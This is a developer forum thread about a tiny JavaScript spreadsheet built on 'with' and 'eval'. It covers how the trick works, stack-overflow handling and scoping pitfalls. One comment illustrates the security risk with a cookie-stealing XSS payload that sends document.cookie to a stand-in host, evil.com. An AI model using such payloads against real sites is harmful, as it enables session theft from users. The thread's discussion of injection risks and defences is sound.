News for hackers. Stuff that matters.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by timje1 on Wednesday November 13, 2013 @10:27AM (#6725746)
Personally I was confused as to how the fellow got around the basics of having to parse tokens until I noticed

with (DATA)

now that's just genius. I hate writing token parsing.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by inDigiNeous on Wednesday November 13, 2013 @01:54PM (#6727448)
Using both 'with' and 'eval' on the same line, nice ;)

Douglas Crockford said in his excellent talk 'JavaScript: The Good Parts' that he highly recommends js -developers to avoid 'with', as it doesn't work correctly and for 'eval' he has to say 'If you are finding yourself using eval, you really are thinking about things the wrong way'.

Source, starts where he is speaking about with and eval: http://youtu.be/hQVTIJBZook?t=13m30s

Are these statements still true ?

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jcampbell1 on Wednesday November 13, 2013 @02:29PM (#6727767)
Yes, the statements are still true. This is an exceptionally clever hack, but it can't really be expanded upon, because as soon as you allow sharing of spreadsheets, it is a security nightmare.

Consider: =document.cookie, or =document.write('<img src="http://evil.com/'+document.cookie +'">');

eval of user input is just not safe, and the with statement also presents problems, such as =INPUT

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by aufreak3 on Wednesday November 13, 2013 @06:07PM (#6729314)
Doing this all in a webworker might be one way to get security - by sandboxing the with/eval?
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jcampbell1 on Wednesday November 13, 2013 @07:06PM (#6729567)
Possibly. Web workers are isolated from the DOM, but can still do stuff like import other scripts or do XHR requests, but those would be limited to the same origin.

It seems like that would be somewhat XSS safe since you are just passing strings back and forth.

I really like this idea.

   evalSafeAsync(code,context,callback) 
That being said, for a spreadsheet, you need to bite the bullet and parse the formulas. I don't see an easy way to support SUM(A1:A4) using this eval hack.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by aboodman on Thursday November 14, 2013 @01:11AM (#6730876)
Script evaluated in a web worker would still have access to your application's cookies and would be able to interact with the server with the user's credentials. You probably don't want that.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by genericacct on Wednesday November 13, 2013 @08:53PM (#6730029)
you can use httpOnly cookies and they will not be accessible via javascript.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by wwweston on Wednesday November 13, 2013 @08:10PM (#6729866)
At a general level, the recommendation to avoid `eval` and `with` is worth heeding, particularly for people who are new to the language.

You need to be familiar with how `with` handles some ambiguous cases in order to use it effectively and safely, `eval` can have some security and performance gotchas. And usually there are other ways to do many of the things you can do with either of them that don't have those pitfalls.

That said, I think the recommendation got out of control -- we have this bad habit of collapsing studies of problems with something into blanket declarations that they're evil.

Here we've got a demo/proof of concept where one of the key constraints going in was code size and using only native facilities. `eval` is saving the developer from writing a parser/expression evaluator, `with` makes it easy to use `eval` while keeping the data in a limited scope. A bigger spreadsheet app would have its own expression evaluator that uses, but using them here makes sense to keep things simple.

They also occasionally make sense in other contexts. Just make sure you really understand the problems involved and have strongly considered other options before you break them out.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by ondras on Wednesday November 13, 2013 @02:14PM (#6727607)
Somewhat. It is generally not recommended to take things dogmatically; even a potentially dangerous and frowned-upon techniques might be suitable in certain scenarios.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by ben336 on Wednesday November 13, 2013 @02:17PM (#6727640)
Yes. They're generally performance and reading nightmares. But this is a very clever usage.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by dmethvin on Wednesday November 13, 2013 @04:46PM (#6728815)
There aren't a lot of good reasons to use `eval` and `with` in production JavaScript. Two wrongs don't make a right, even when you use them on the same line of code.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by angersock on Wednesday November 13, 2013 @11:27AM (#6726263)
I'm a bit slow this morning...would anyone mind explaining how that and the defineProperties stuff makes a parse happen?
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jcampbell1 on Wednesday November 13, 2013 @01:09PM (#6727066)
50 getters are defined on DATA: a1..e5, and A1..E5

Consider the formula =A1+A2

inside the getter we have:

    with(DATA) eval('A1+A2');
Which is basically the same as:

    eval('DATA.A1+DATA.A2');
Inside the eval, the getter for A1, and A2 will be called. This will continue until non-formulas are reached and value is returned. The other possibility, is you get an infinite amount of recursion, which causes an error that is caught in the try/catch block. For instance, if you put =A1 in A1, the DATA.A1 getter gets called 1000's of times, eventually causing a stack overflow, which is caught by the try/catch block.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jessedhillon on Wednesday November 13, 2013 @11:45AM (#6726401)
defineProperty is being used to set a property On DATA, named corresponding to the cell's id (e.g., A3), to a descriptor. In this case the descriptor only provides a getter function, inside of which is an eval done with DATA as the context. That means all evaluated variable references will assume DATA as the implicit 'this' (whereas normally that would be 'window')
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jcampbell1 on Wednesday November 13, 2013 @11:13AM (#6726127)
I am a bit lost as to why cycles are handled the way they are. Part of the problem, is cycles seem to crash chrome's developer tools.

If you put =A1 in A1, and =A2 in A2, it crashes the web inspector for me.

I am lost as to why putting =A1 in A1 doesn't cause an infinite loop. Why doesn't eval (DATA.A1) not trigger the getter and hence an infinite loop?

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by btown on Wednesday November 13, 2013 @06:27PM (#6729404)
It's possible that the call stack is being exceeded, but the Web Inspector is still trying to display each portion of the call stack - leading to an out-of-memory condition for the inspector?
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by ondras on Wednesday November 13, 2013 @11:24AM (#6726240)
The getter impl should prevent this. Firefox, for instance, throws an exception...
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jcampbell1 on Wednesday November 13, 2013 @11:32AM (#6726304)
I think I figured it out. It does cause an infinite loop, but Chrome throws a "Range Error: Max Call Stack Exceeded", which then gets trapped by the try/catch block.

Firefox does a similar thing, by throwing a "too much recursion" error.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jdc0589 on Wednesday November 13, 2013 @11:45AM (#6726404)
I can safely say its one of the only 'appropriate' uses of a with-block I have ever seen.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by agumonkey on Wednesday November 13, 2013 @10:41AM (#6725866)
with (context) + eval = user-space lexical environment ?
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by curveship on Wednesday November 13, 2013 @02:46PM (#6727922)
No, unfortunately. If a reference isn't found in your context object, it falls through to the ambient namespace. So say you run ...

    context = { foo: 1, bar: 2 };

    with (context) {
        foo = 2;
        bar = 3;
    }
That will probably do what you expect. But now say you run it where context is just ...

    context = { foo: 1 };

    with (context) {
        foo = 2;
        bar = 3;
    }
... you might think this would add a 'bar' property to your context object, but in fact it creates a global variable bar. Whoops!

In short, 'with' is pointy on both ends.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by agumonkey on Wednesday November 13, 2013 @03:04PM (#6728062)
Oh yeah, `with` is dangerous.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by richthegeek on Wednesday November 13, 2013 @11:36AM (#6726345)
Yep, I'm using something very like this in a Node project I'm working on. However, with(context) has some pretty nasty side effects that I just couldn't sidestep, so I used the "contextify" module.

If you're needing with and have access to npm, use contextify, It'll save you a lot of effort!

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by agumonkey on Wednesday November 13, 2013 @12:12PM (#6726592)
Thanks for the tip, but I'm far from working with javascript right now[1], I was barely trying to understand the trick. I love the fact that this 'app' is a 6x6 variables grid layout javascript editor in disguise.

[1] I just finished skimming through eloquent js and js allonge, and this still eluded me.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jcheng on Wednesday November 13, 2013 @01:44PM (#6727363)
Do you mind elaborating on those nasty side effects? (I use with(context) for a small but important feature in the product I work on.)
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by dnautics on Wednesday November 13, 2013 @02:14PM (#6727608)
if it's on node.js I imagine there's things to worry about like malicious injection